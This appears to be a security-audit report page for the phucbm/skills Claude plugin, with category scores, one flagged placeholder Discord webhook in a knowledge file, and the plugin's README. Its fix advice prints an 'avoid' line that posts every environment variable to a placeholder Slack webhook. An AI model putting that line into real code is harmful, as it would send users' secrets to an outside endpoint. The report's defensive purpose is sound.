CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

26.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding

HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · knowledge/discord/web-patterns.md

HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.

Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (DISCORD_WEBHOOK_URL=https://discord.com/api/webh…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted

excerptknowledge/discord/web-patterns.md· markdown

102**Env vars:**

103```env

104DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/xxx/yyy

105```

106

Occurrences

1 occurrence · at L104

How to fix

Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.

Replace the embedded webhook URL with a value the installing user supplies.
Post only non-sensitive notification fields — never env vars, file contents, or credentials.

Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})

Safer pattern

# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})

Framework references

OWASPLLM02 ATLASAML.T0025 CWE-200

Trace & refs

ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256563848c8c1a17a15…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

README.md · 1 file

README.md6.0 KB · Markdown

phucbm/skills

My personal knowledge base, reusable skills and reference knowledge observed across real projects.

Skills are slash commands that instruct Claude to perform a specific task (e.g. /add-skill, /rag).

Knowledge files are markdown references that Claude reads to apply proven patterns without re-discovering them each session (e.g. GROQ streaming setup, Pinecone schema).

Quickstart

Via skills.sh

Run the installer and pick what you want:

npx skills@latest add phucbm/skills

Via Claude Plugin

Add the phucbm marketplace (once, ever):

/plugin marketplace add phucbm/skills

Install the skills plugin:

/plugin install skills@phucbm

Update when new skills are released:

/plugin marketplace update phucbm

Skills

Skills I use across projects.

[add-skill](skills/add-skill/SKILL.md) - Summarize knowledge from the current project and push it to this repo.
[update-skill](skills/update-skill/SKILL.md) - Diff and update an existing knowledge entry.
[learn](skills/learn/SKILL.md) - Scan any repo, diff against existing skills, and suggest what to save or update.
[vercel-ai-gateway](skills/vercel-ai-gateway/SKILL.md) - Set up Vercel AI Gateway for multi-provider AI access.
[rag](skills/rag/SKILL.md) - Build a RAG pipeline - chunk, embed, store, query, inject into prompt.
[pinecone](skills/pinecone/SKILL.md) - Set up Pinecone as the vector DB in a RAG pipeline.
[groq](skills/groq/SKILL.md) - Integrate GROQ LLM streaming into a project.
[dexie](skills/dexie/SKILL.md) - Set up Dexie.js (IndexedDB) in a local-first Next.js + React + TypeScript app.
[counterapi](skills/counterapi/SKILL.md) - Add lightweight hit counters via counterapi.dev v2.
[wp-blocks-dev](skills/wp-blocks-dev/SKILL.md) - Scaffold, audit and manage ACF Gutenberg blocks with Tailwind CSS.
[publish-npm](skills/publish-npm/SKILL.md) - Auto-publish npm package on GitHub release via token or OIDC.
[cloudflare-pages](skills/cloudflare-pages/SKILL.md) - Migrate a Next.js app to Cloudflare Pages, pick the right adapter, and diagnose worker size issues.
[discord-as-backend](skills/discord-as-backend/SKILL.md) - Use a Discord Forum channel as a database or a Discord webhook as a form submission inbox.
[github-as-db](skills/github-as-db/SKILL.md) - Use a GitHub repo as a zero-infra data store — JSON files as records, GitHub App bot as write layer, build-time index as read layer. Community contribute via PR or personal CRUD, no auth service, no database.
[claskit](skills/claskit/SKILL.md) - Autonomous Claude Code task runner — write task specs as Markdown, run claskit, watch Claude implement them.

Knowledge

Reference files Claude reads to apply proven patterns.

Topic	File	Description
GROQ	groq/streaming-integration.md	SSE streaming with GROQ API, env setup, response parsing
Claude Plugins	claude-plugins/marketplace-management.md	Plugin structure, marketplace setup, adding new phucbm plugins
Dexie	dexie/patterns.md	IndexedDB via Dexie.js - schema, querying, useLiveQuery, migrations, SSR constraints
counterapi	counterapi/usage.md	Simple hit counters via counterapi.dev v2 - lightweight alternative to GA4/PostHog/Umami
Vercel AI Gateway	vercel/ai-gateway.md	Multi-provider AI via `@ai-sdk/gateway`, reasoning middleware, test mock pattern
RAG Pipeline	rag/pipeline.md	chunk→embed→upsert→query pattern, prompt injection, switchable embeddings, auto-ingest
Pinecone	pinecone/setup.md	Vector DB setup, batch upsert, semantic query, metadata filter with semantic fallback
WP Blocks Dev	wp-blocks-dev/overview.md	Pointer to phucbm/wp-blocks-dev plugin - init, create-block, audit skills
GitHub Actions publish-npm	github-actions/publish-npm.md	Composite action to auto-publish npm on release - token or OIDC, workflow templates, gotchas
Cloudflare Pages	cloudflare/nextjs-migration.md	Migrate Next.js from Vercel to Cloudflare - adapter comparison, worker size limits, pitfalls
Discord	discord/web-patterns.md	Forum channel as DB (bookmarks), webhook as form inbox — two zero-infra patterns
GitHub as DB	github/github-as-db.md	Repo as zero-infra data store — GitHub App CRUD, build-time index (rate limit fix), PR contribute flow
claskit	claskit/usage.md	Setup, commands, spec format, and how to create specs via /claskit skill

Claude Plugins

All plugins available from the phucbm marketplace:

Plugin	Repo	Install	Description
`claudify`	phucbm/claudify	`/plugin install claudify@phucbm`	Bootstrap `.claude/` structure for any existing repo
`skills`	phucbm/skills	`/plugin install skills@phucbm`	Personal knowledge base (this repo)
`registry-system`	phucbm/registry-system	`/plugin install registry-system@phucbm`	Manage shadcn-compatible component registry - create, validate, and push components
`wp-blocks-dev`	phucbm/wp-blocks-dev	`/plugin install wp-blocks-dev@phucbm`	Scaffold, audit and manage custom ACF Gutenberg blocks with Tailwind CSS

Reference

mattpocock/skills

Skills— plugin

Is Skills safe to install?

phucbm/skills

Quickstart

Via skills.sh

Via Claude Plugin

Skills

Knowledge

Claude Plugins

Reference

Audit the pieces. Scan the whole. Decide.